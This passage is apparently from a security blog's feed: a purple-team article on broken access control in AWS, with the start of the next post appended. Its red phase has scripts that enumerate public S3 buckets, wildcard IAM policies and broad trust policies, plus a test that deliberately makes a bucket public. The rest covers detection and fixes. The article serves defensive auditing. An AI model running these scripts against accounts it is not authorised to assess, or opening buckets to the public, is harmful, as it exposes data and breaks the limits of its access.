<li>The purple phase: deny-based SCPs, bucket public access blocks, and IAM Access Analyzer — structural controls, not monitoring alerts</li>
<li>Cross-series: <a href="/aws-iam-privilege-escalation-passrole/">IAM privilege escalation paths</a> (IAM EP08) and <a href="/aws-least-privilege-audit/">AWS least privilege audit</a> (IAM EP09) go deeper on the IAM layer</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A01 Broken Access Control — primarily. A09 Logging and Monitoring Failures — the six-month detection gap demonstrates A09 as an amplifier of A01.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│              BROKEN ACCESS CONTROL — ATTACK SURFACE                 │
│                                                                     │
│   INTERNET                    AWS ACCOUNT                           │
│                                                                     │
│   Attacker ──────────────&#x25b6;  S3 bucket (public read)                 │
│                             └── 47M customer records                │
│                                                                     │
│   Attacker ──────────────&#x25b6;  IAM user with &quot;Action&quot;: &quot;*&quot;             │
│   (compromised creds)        └── escalate → admin access            │
│                                                                     │
│   Attacker ──────────────&#x25b6;  Trust policy: &quot;AWS&quot;: &quot;*&quot;                │
│   (any AWS account)          └── assume role from attacker&#039;s        │
│                                  account                            │
│                                                                     │
│   ═══════════════════════════════════════════════════════           │
│                                                                     │
│   DETECTION GAPS (A09 amplifying A01):                              │
│   • S3 public access not in AWS Config rules                        │
│   • GuardDuty not enabled                                           │
│   • No IAM Access Analyzer                                          │
│   • No SCP boundary on public bucket creation                       │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Broken access control in AWS</strong> is the infrastructure equivalent of OWASP A01: a principal can reach a resource it should not be able to reach, because the access control decision was either not made or made incorrectly. In the cloud context, this manifests as public S3 buckets, IAM policies with wildcard actions and resources, and trust policies that allow any principal rather than a specific, scoped entity.</p>
<hr />
<h2 id="the-assessment-that-changed-my-approach-to-access-control-auditing">The Assessment That Changed My Approach to Access Control Auditing</h2>
<p>During an authorized assessment, I found an S3 bucket containing 47 million customer records. The bucket name was generic — no obvious PII signal in the name itself. It was created two years prior by an engineer who was troubleshooting a data pipeline and needed temporary public access to share data with an external partner. The partner relationship ended. The bucket access was never reverted.</p>
<p>The bucket had been public for six months at the time I found it. I checked the AWS Config rules: S3 public access was not in the rule set. GuardDuty was enabled but no finding had fired — GuardDuty generates a <code class="" data-line="">Policy:S3/BucketAnonymousAccessGranted</code> finding when public access is enabled, but only if the finding is new during GuardDuty&#8217;s monitoring window. The bucket went public before GuardDuty was enabled.</p>
<p>No alert ever fired. Not because the tools couldn&#8217;t detect it — because the tools weren&#8217;t configured to look.</p>
<p>This is A01 amplified by A09. The broken access control is the public bucket. The six-month window is the logging and monitoring failure.</p>
<hr />
<h2 id="red-phase-how-broken-access-control-works-in-practice">Red Phase: How Broken Access Control Works in Practice</h2>
<p>The red team perspective on broken access control starts with enumeration. What can this principal reach that it shouldn&#8217;t be able to reach?</p>
<h3 id="enumerating-public-s3-buckets">Enumerating Public S3 Buckets</h3>
<pre><code class="" data-line="">aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read bucket; do
    # Check account-level block
    account_block=$(aws s3control get-public-access-block \
      --account-id $(aws sts get-caller-identity --query Account --output text) \
      2&gt;/dev/null | jq -r &#039;.PublicAccessBlockConfiguration.BlockPublicAcls&#039;)

    # Check bucket-level policy
    policy=$(aws s3api get-bucket-policy-status --bucket &quot;$bucket&quot; 2&gt;/dev/null | \
      jq -r &#039;.PolicyStatus.IsPublic&#039;)

    # Check bucket ACL
    acl=$(aws s3api get-bucket-acl --bucket &quot;$bucket&quot; 2&gt;/dev/null | \
      jq -r &#039;.Grants[] | select(.Grantee.URI == &quot;http://acs.amazonaws.com/groups/global/AllUsers&quot;) | .Permission&#039;)

    if [ &quot;$policy&quot; = &quot;true&quot; ] || [ -n &quot;$acl&quot; ]; then
      echo &quot;PUBLIC BUCKET: $bucket (policy_public=$policy, acl_grants=$acl)&quot;
    fi
  done
</code></pre>
<h3 id="enumerating-overly-permissive-iam-policies">Enumerating Overly Permissive IAM Policies</h3>
<pre><code class="" data-line=""># Find all customer-managed policies with wildcard actions
aws iam list-policies --scope Local --query &#039;Policies[].Arn&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read arn; do
    version=$(aws iam get-policy --policy-arn &quot;$arn&quot; \
      --query &#039;Policy.DefaultVersionId&#039; --output text)
    doc=$(aws iam get-policy-version --policy-arn &quot;$arn&quot; --version-id &quot;$version&quot; \
      --query &#039;PolicyVersion.Document&#039; --output json)

    if echo &quot;$doc&quot; | jq -e &#039;.Statement[] | select(.Effect == &quot;Allow&quot; and .Action == &quot;*&quot;)&#039; &gt; /dev/null 2&gt;&amp;1; then
      echo &quot;WILDCARD ACTION POLICY: $arn&quot;
      echo &quot;$doc&quot; | jq &#039;.Statement[] | select(.Effect == &quot;Allow&quot; and .Action == &quot;*&quot;)&#039;
    fi
  done
</code></pre>
<h3 id="testing-trust-policy-abuse">Testing Trust Policy Abuse</h3>
<pre><code class="" data-line=""># Find IAM roles with overly broad trust policies
# Specifically: trust policies that allow any AWS account or service
aws iam list-roles --query &#039;Roles[].{Name:RoleName,Arn:Arn}&#039; --output json | \
  jq -r &#039;.[].Arn&#039; | \
  while read role_arn; do
    trust=$(aws iam get-role --role-name &quot;$(basename $role_arn)&quot; \
      --query &#039;Role.AssumeRolePolicyDocument&#039; --output json 2&gt;/dev/null)

    # Check for wildcard principals
    if echo &quot;$trust&quot; | jq -e &#039;.Statement[] | select(.Principal == &quot;*&quot;)&#039; &gt; /dev/null 2&gt;&amp;1; then
      echo &quot;WILDCARD TRUST PRINCIPAL: $role_arn&quot;
    fi

    # Check for cross-account trust without conditions
    if echo &quot;$trust&quot; | jq -e &#039;.Statement[] | select(.Principal.AWS | type == &quot;string&quot; and test(&quot;arn:aws:iam::[0-9]+:root&quot;))&#039; &gt; /dev/null 2&gt;&amp;1; then
      account_in_trust=$(echo &quot;$trust&quot; | jq -r &#039;.Statement[] | .Principal.AWS // empty&#039; | grep -oP &#039;(?&lt;=arn:aws:iam::)[0-9]+&#039;)
      current_account=$(aws sts get-caller-identity --query Account --output text)
      if [ &quot;$account_in_trust&quot; != &quot;$current_account&quot; ]; then
        echo &quot;CROSS-ACCOUNT TRUST (verify scope): $role_arn trusts account $account_in_trust&quot;
      fi
    fi
  done
</code></pre>
<h3 id="simulating-s3-exfiltration-on-your-own-bucket-safe-test">Simulating S3 Exfiltration (on your own bucket — safe test)</h3>
<pre><code class="" data-line=""># Create a test bucket, make it public, verify it&#039;s accessible without credentials
# Do this in a non-production account only

TEST_BUCKET=&quot;purple-team-test-$(date +%s)&quot;
aws s3 mb s3://${TEST_BUCKET} --region us-east-1

# Disable the public access block (simulates the misconfiguration)
aws s3api put-public-access-block \
  --bucket &quot;${TEST_BUCKET}&quot; \
  --public-access-block-configuration \
  &quot;BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false&quot;

# Add a public-read bucket policy
aws s3api put-bucket-policy --bucket &quot;${TEST_BUCKET}&quot; --policy &#039;{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: &quot;*&quot;,
    &quot;Action&quot;: &quot;s3:GetObject&quot;,
    &quot;Resource&quot;: &quot;arn:aws:s3:::&#039;&quot;${TEST_BUCKET}&quot;&#039;/*&quot;
  }]
}&#039;

# Put a test file
echo &quot;PURPLE_TEAM_TEST_DATA&quot; | aws s3 cp - s3://${TEST_BUCKET}/test.txt

# Verify it&#039;s accessible without credentials
curl -s &quot;https://${TEST_BUCKET}.s3.amazonaws.com/test.txt&quot;
# Should return: PURPLE_TEAM_TEST_DATA

echo &quot;&quot;
echo &quot;Test complete. Clean up:&quot;
echo &quot;aws s3 rb s3://${TEST_BUCKET} --force&quot;
</code></pre>
<hr />
<h2 id="blue-phase-what-detection-looks-like">Blue Phase: What Detection Looks Like</h2>
<h3 id="what-aws-config-catches">What AWS Config Catches</h3>
<p>Two managed rules cover the majority of S3 broken access control findings:</p>
<pre><code class="" data-line=""># Enable the S3 public access rules in AWS Config
# (requires Config to already be enabled)

# Rule 1: s3-bucket-public-read-prohibited
aws configservice put-config-rule --config-rule &#039;{
  &quot;ConfigRuleName&quot;: &quot;s3-bucket-public-read-prohibited&quot;,
  &quot;Source&quot;: {
    &quot;Owner&quot;: &quot;AWS&quot;,
    &quot;SourceIdentifier&quot;: &quot;S3_BUCKET_PUBLIC_READ_PROHIBITED&quot;
  },
  &quot;Scope&quot;: {
    &quot;ComplianceResourceTypes&quot;: [&quot;AWS::S3::Bucket&quot;]
  }
}&#039;

# Rule 2: s3-account-level-public-access-blocks-periodic
aws configservice put-config-rule --config-rule &#039;{
  &quot;ConfigRuleName&quot;: &quot;s3-account-level-public-access-blocks-periodic&quot;,
  &quot;Source&quot;: {
    &quot;Owner&quot;: &quot;AWS&quot;,
    &quot;SourceIdentifier&quot;: &quot;S3_ACCOUNT_LEVEL_PUBLIC_ACCESS_BLOCKS_PERIODIC&quot;
  }
}&#039;

# Check current compliance status
aws configservice describe-compliance-by-config-rule \
  --config-rule-names s3-bucket-public-read-prohibited \
  --query &#039;ComplianceByConfigRules[].{Rule:ConfigRuleName,Compliance:Compliance.ComplianceType}&#039;
</code></pre>
<h3 id="what-guardduty-catches">What GuardDuty Catches</h3>
<p>GuardDuty generates these findings for S3 broken access control:</p>
<table>
<thead>
<tr>
<th>Finding Type</th>
<th>Trigger</th>
<th>Severity</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">Policy:S3/BucketAnonymousAccessGranted</code></td>
<td>Bucket policy or ACL grants public read/write</td>
<td>Medium</td>
</tr>
<tr>
<td><code class="" data-line="">Policy:S3/BucketPublicAccessGranted</code></td>
<td>Same as above — alternate finding type</td>
<td>Medium</td>
</tr>
<tr>
<td><code class="" data-line="">Discovery:S3/MaliciousIPCaller</code></td>
<td>S3 GetObject from a known malicious IP</td>
<td>High</td>
</tr>
</tbody>
</table>
<pre><code class="" data-line=""># Query GuardDuty findings for S3 public access violations
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty list-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;type&quot;: {
        &quot;Equals&quot;: [&quot;Policy:S3/BucketAnonymousAccessGranted&quot;, &quot;Policy:S3/BucketPublicAccessGranted&quot;]
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-ids | \
  jq &#039;.Findings[] | {type: .Type, bucket: .Resource.S3BucketDetails[0].Name, severity: .Severity}&#039;
</code></pre>
<h3 id="what-iam-access-analyzer-catches">What IAM Access Analyzer Catches</h3>
<p>IAM Access Analyzer continuously analyzes resource policies for external access — S3 buckets, IAM roles, KMS keys, SQS queues, Lambda functions. It generates a finding any time a resource policy grants access to a principal outside the AWS account (or AWS Organization boundary).</p>
<pre><code class="" data-line=""># Enable IAM Access Analyzer for the account
aws accessanalyzer create-analyzer \
  --analyzer-name &quot;account-access-analyzer&quot; \
  --type ACCOUNT

# List all active findings (external access granted)
aws accessanalyzer list-findings \
  --analyzer-arn $(aws accessanalyzer list-analyzers --query &#039;analyzers[0].arn&#039; --output text) \
  --filter &#039;{&quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --query &#039;findings[].{Resource:resource,Principal:principal,Action:action}&#039; \
  --output table
</code></pre>
<h3 id="what-the-cloudtrail-event-looks-like">What the CloudTrail Event Looks Like</h3>
<p>When an anonymous user accesses a public S3 object:</p>
<pre><code class="" data-line="">{
  &quot;eventVersion&quot;: &quot;1.09&quot;,
  &quot;userIdentity&quot;: {
    &quot;type&quot;: &quot;AWSAccount&quot;,
    &quot;accountId&quot;: &quot;ANONYMOUS_PRINCIPAL&quot;,  
    &quot;principalId&quot;: &quot;ANONYMOUS_PRINCIPAL&quot;
  },
  &quot;eventTime&quot;: &quot;2024-03-15T02:47:00Z&quot;,
  &quot;eventSource&quot;: &quot;s3.amazonaws.com&quot;,
  &quot;eventName&quot;: &quot;GetObject&quot;,
  &quot;requestParameters&quot;: {
    &quot;bucketName&quot;: &quot;your-bucket-name&quot;,
    &quot;key&quot;: &quot;customer-data/records.csv&quot;
  },
  &quot;sourceIPAddress&quot;: &quot;198.51.100.1&quot;,
  &quot;userAgent&quot;: &quot;python-requests/2.28.0&quot;
}
</code></pre>
<p>The signal: <code class="" data-line="">userIdentity.type = &quot;AWSAccount&quot;</code> with <code class="" data-line="">accountId = &quot;ANONYMOUS_PRINCIPAL&quot;</code> on a <code class="" data-line="">GetObject</code> event. This is a read from an anonymous, unauthenticated principal.</p>
<pre><code class="" data-line=""># CloudTrail Insights query (Athena) to find anonymous S3 GetObject events
# Assumes CloudTrail S3 data events are enabled for the bucket

SELECT
  eventTime,
  sourceIPAddress,
  requestParameters.bucketName,
  requestParameters.key,
  userIdentity.type,
  userIdentity.accountId
FROM cloudtrail_logs
WHERE
  eventName = &#039;GetObject&#039;
  AND userIdentity.type = &#039;AWSAccount&#039;
  AND userIdentity.accountId = &#039;ANONYMOUS_PRINCIPAL&#039;
  AND eventTime &gt; current_timestamp - interval &#039;7&#039; day
ORDER BY eventTime DESC
LIMIT 100;
</code></pre>
<hr />
<h2 id="purple-phase-the-structural-fix">Purple Phase: The Structural Fix</h2>
<p>Detection catches broken access control after the fact. The structural fix prevents it from being possible.</p>
<h3 id="fix-1-account-level-s3-public-access-block">Fix 1: Account-Level S3 Public Access Block</h3>
<p>This is a single setting that prevents any bucket in the account from becoming public — regardless of bucket policy or ACL. It overrides bucket-level settings.</p>
<pre><code class="" data-line=""># Enable account-level S3 public access block
aws s3control put-public-access-block \
  --account-id $(aws sts get-caller-identity --query Account --output text) \
  --public-access-block-configuration \
  &quot;BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true&quot;

# Verify
aws s3control get-public-access-block \
  --account-id $(aws sts get-caller-identity --query Account --output text)
</code></pre>
<h3 id="fix-2-scp-to-prevent-disabling-the-public-access-block">Fix 2: SCP to Prevent Disabling the Public Access Block</h3>
<p>An SCP (Service Control Policy) at the AWS Organizations level that prevents any account from disabling the public access block — even an account administrator.</p>
<pre><code class="" data-line="">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;DenyS3PublicAccessBlockDisable&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: [
        &quot;s3:PutBucketPublicAccessBlock&quot;,
        &quot;s3:DeletePublicAccessBlock&quot;
      ],
      &quot;Resource&quot;: &quot;*&quot;,
      &quot;Condition&quot;: {
        &quot;ArnNotLike&quot;: {
          &quot;aws:PrincipalArn&quot;: &quot;arn:aws:iam::*:role/s3-public-access-exception-role&quot;
        }
      }
    }
  ]
}
</code></pre>
<pre><code class="" data-line=""># Apply the SCP to your organizational unit
aws organizations create-policy \
  --name &quot;DenyS3PublicAccessBlockDisable&quot; \
  --type SERVICE_CONTROL_POLICY \
  --content file://scp-deny-s3-public-access.json \
  --description &quot;Prevents disabling S3 public access block at account level&quot;
</code></pre>
<h3 id="fix-3-iam-policy-cleanup-remove-wildcards">Fix 3: IAM Policy Cleanup — Remove Wildcards</h3>
<p>For IAM policies with wildcard actions, the fix is least-privilege replacement. This is not a quick operation — it requires analyzing actual usage and scoping to what is actually needed.</p>
<pre><code class="" data-line=""># Use IAM Access Analyzer policy generation to generate a least-privilege policy
# based on actual CloudTrail activity for a role
aws accessanalyzer start-policy-generation \
  --policy-generation-details &#039;{
    &quot;principalArn&quot;: &quot;arn:aws:iam::123456789012:role/your-role-name&quot;
  }&#039; \
  --cloud-trail-details &#039;{
    &quot;accessRole&quot;: &quot;arn:aws:iam::123456789012:role/access-analyzer-cloudtrail-role&quot;,
    &quot;trailProperties&quot;: [{
      &quot;cloudTrailArn&quot;: &quot;arn:aws:cloudtrail:us-east-1:123456789012:trail/your-trail&quot;,
      &quot;regions&quot;: [&quot;us-east-1&quot;, &quot;us-west-2&quot;],
      &quot;allRegions&quot;: false
    }],
    &quot;startTime&quot;: &quot;2024-01-01T00:00:00Z&quot;,
    &quot;endTime&quot;: &quot;2024-03-01T00:00:00Z&quot;
  }&#039;

# Retrieve the generated policy
JOB_ID=&quot;&lt;returned-job-id&gt;&quot;
aws accessanalyzer get-generated-policy --job-id &quot;${JOB_ID}&quot;
</code></pre>
<p>For a systematic audit approach, the <a href="/aws-least-privilege-audit/">AWS least privilege audit</a> process in IAM EP09 covers how to move from wildcard policies to scoped permissions methodically across a multi-account environment.</p>
<h3 id="fix-4-iam-access-analyzer-with-automated-archiving">Fix 4: IAM Access Analyzer with Automated Archiving</h3>
<pre><code class="" data-line=""># Create an archive rule for known-good cross-account access
# (prevents alert fatigue from legitimate cross-account patterns)
aws accessanalyzer create-archive-rule \
  --analyzer-name &quot;account-access-analyzer&quot; \
  --rule-name &quot;archive-legitimate-cross-account&quot; \
  --filter &#039;{
    &quot;principal.AWS&quot;: {
      &quot;contains&quot;: [&quot;arn:aws:iam::111122223333:role/legitimate-cross-account-role&quot;]
    }
  }&#039;
</code></pre>
<hr />
<h2 id="run-this-in-your-own-environment-a01-audit">Run This in Your Own Environment: A01 Audit</h2>
<p>Run this in any AWS account you own or have read-only access to audit:</p>
<pre><code class="" data-line="">#!/bin/bash
# Purple Team EP04 — Broken Access Control (A01) Audit
# Safe to run with read-only IAM permissions

ACCOUNT=$(aws sts get-caller-identity --query Account --output text)
echo &quot;Auditing account: ${ACCOUNT}&quot;
echo &quot;===============================&quot;

echo &quot;&quot;
echo &quot;[A01-1] S3 Account-Level Public Access Block&quot;
aws s3control get-public-access-block --account-id &quot;${ACCOUNT}&quot; 2&gt;/dev/null || \
  echo &quot;  FINDING: Account-level public access block not configured&quot;

echo &quot;&quot;
echo &quot;[A01-2] S3 Buckets with Public Access&quot;
aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | tr &#039;\t&#039; &#039;\n&#039; | \
  while read bucket; do
    status=$(aws s3api get-bucket-policy-status --bucket &quot;$bucket&quot; 2&gt;/dev/null | \
      jq -r &#039;.PolicyStatus.IsPublic // &quot;false&quot;&#039;)
    if [ &quot;$status&quot; = &quot;true&quot; ]; then
      echo &quot;  FINDING: Public bucket: $bucket&quot;
    fi
  done

echo &quot;&quot;
echo &quot;[A01-3] IAM Roles with Wildcard Trust Policies&quot;
aws iam list-roles --query &#039;Roles[].RoleName&#039; --output text | tr &#039;\t&#039; &#039;\n&#039; | head -50 | \
  while read role; do
    trust=$(aws iam get-role --role-name &quot;$role&quot; \
      --query &#039;Role.AssumeRolePolicyDocument.Statement&#039; 2&gt;/dev/null)
    if echo &quot;$trust&quot; | jq -e &#039;.[] | select(.Principal == &quot;*&quot;)&#039; &gt; /dev/null 2&gt;&amp;1; then
      echo &quot;  FINDING: Wildcard trust principal in role: $role&quot;
    fi
  done

echo &quot;&quot;
echo &quot;[A01-4] IAM Access Analyzer — Active External Access Findings&quot;
ANALYZER=$(aws accessanalyzer list-analyzers --query &#039;analyzers[0].arn&#039; --output text 2&gt;/dev/null)
if [ -z &quot;$ANALYZER&quot; ]; then
  echo &quot;  FINDING: IAM Access Analyzer not enabled&quot;
else
  aws accessanalyzer list-findings \
    --analyzer-arn &quot;${ANALYZER}&quot; \
    --filter &#039;{&quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
    --query &#039;findings[].{Resource:resource,Type:resourceType}&#039; \
    --output table
fi
</code></pre>
<hr />
<h2 id="common-mistakes-when-fixing-broken-access-control-in-aws"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Mistakes When Fixing Broken Access Control in AWS</h2>
<p><strong>Fixing the symptom at the bucket level without the account-level block.</strong> If you set <code class="" data-line="">RestrictPublicBuckets=true</code> on individual buckets but leave the account-level block unset, the next bucket created by another engineer starts with public access possible again. The account-level block is the structural control; the bucket-level setting is defense-in-depth.</p>
<p><strong>Not enabling CloudTrail S3 data events.</strong> CloudTrail management events capture bucket creation and policy changes. They do not capture <code class="" data-line="">GetObject</code> and <code class="" data-line="">PutObject</code> by default — that requires enabling S3 data events, which adds cost. Without data events, you cannot see who accessed what in a public bucket. If you can&#8217;t afford data events on all buckets, enable them on buckets containing sensitive data.</p>
<p><strong>Treating IAM Access Analyzer findings as one-time.</strong> Access Analyzer runs continuously. A new resource policy that grants external access generates a new finding. If you archive findings without fixing the underlying policy, you lose visibility. Archive only findings that represent intentional, documented cross-account access.</p>
<p><strong>Confusing &#8220;no GuardDuty findings&#8221; with &#8220;no problem.&#8221;</strong> GuardDuty&#8217;s <code class="" data-line="">Policy:S3/BucketAnonymousAccessGranted</code> only fires when access is newly granted during GuardDuty&#8217;s monitoring window. A bucket that was made public before GuardDuty was enabled will not generate a finding — GuardDuty does not retroactively scan all bucket policies. Use AWS Config for retroactive compliance checks; use GuardDuty for real-time detection of new violations.</p>
<p>For the full IAM attack chain that broken access control enables — including <a href="/aws-iam-privilege-escalation-passrole/">IAM privilege escalation paths via iam:PassRole</a> — see IAM series EP08. The privilege escalation analysis belongs alongside the access control audit.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Control</th>
<th>What It Does</th>
<th>AWS Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account-level S3 public access block</td>
<td>Prevents any bucket from becoming public</td>
<td>S3 Control</td>
</tr>
<tr>
<td>SCP: deny public access block disable</td>
<td>Prevents disabling the account-level block</td>
<td>Organizations</td>
</tr>
<tr>
<td>AWS Config: <code class="" data-line="">S3_BUCKET_PUBLIC_READ_PROHIBITED</code></td>
<td>Flags buckets that are or become public</td>
<td>AWS Config</td>
</tr>
<tr>
<td>GuardDuty: <code class="" data-line="">Policy:S3/BucketAnonymousAccessGranted</code></td>
<td>Detects new public access grants</td>
<td>GuardDuty</td>
</tr>
<tr>
<td>IAM Access Analyzer</td>
<td>Finds all resources with external access grants</td>
<td>Access Analyzer</td>
</tr>
<tr>
<td>CloudTrail S3 data events</td>
<td>Captures GetObject/PutObject for audit</td>
<td>CloudTrail</td>
</tr>
<tr>
<td>IAM policy generation</td>
<td>Generates least-privilege policy from actual usage</td>
<td>Access Analyzer</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Broken access control in AWS</strong> (OWASP A01) is the most common cloud security failure — IAM wildcards, public S3, and broad trust policies are the three primary manifestations</li>
<li>A public S3 bucket with 47 million records was active for six months without a single alert — because the detection controls (AWS Config rules, GuardDuty) weren&#8217;t enabled to look for it</li>
<li>The structural fix is the account-level S3 public access block enforced by SCP — detection tools catch violations; the SCP prevents the violation from being possible</li>
<li>IAM Access Analyzer provides continuous visibility into every resource that grants external access — enable it in every account</li>
<li>The red phase can be run with read-only permissions against your own account — the audit script above reveals your current A01 exposure in under five minutes</li>
<li>Fixing A01 without enabling the A09 controls (CloudTrail data events, GuardDuty, AWS Config) leaves you blind to whether the fix is working</li>
<li>Use Access Analyzer&#8217;s policy generation feature to move from wildcard policies to least-privilege without guessing</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP05 covers MFA fatigue attacks — how the Uber and Okta breaches worked at the authentication layer, how to simulate push-notification fatigue in a test environment, and the structural fix: phishing-resistant MFA using FIDO2 hardware keys. The identity layer is where most cloud compromises start — understanding how push MFA fails is the prerequisite for knowing why hardware keys are the only structural answer.</p>
<p>Get EP05 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&#038;title=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" data-a2a-url="https://linuxcent.com/broken-access-control-aws-cloud/" data-a2a-title="Broken Access Control in AWS: From Misconfigured S3 to Admin"></a></p><p>The post <a href="https://linuxcent.com/broken-access-control-aws-cloud/">Broken Access Control in AWS: From Misconfigured S3 to Admin</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/broken-access-control-aws-cloud/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1852</post-id>	</item>
		<item>
		<title>Identity Providers Explained: On-Prem, Cloud, SCIM, and Federation</title>
		<link>https://linuxcent.com/identity-providers-explained/</link>
					<comments>https://linuxcent.com/identity-providers-explained/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 08 May 2026 11:00:00 +0000</pubDate>
				<category><![CDATA[Identity & Authentication]]></category>
		<category><![CDATA[Entra ID]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Identity Provider]]></category>
		<category><![CDATA[Okta]]></category>
		<category><![CDATA[SAML]]></category>
		<category><![CDATA[SCIM]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1802</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span>Identity providers explained: on-prem IdPs (AD FS, Keycloak), cloud IdPs (Okta, Entra ID), SCIM provisioning, SAML federation, and directory sync vs identity federation.</p>
<p>The post <a href="https://linuxcent.com/identity-providers-explained/">Identity Providers Explained: On-Prem, Cloud, SCIM, and Federation</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
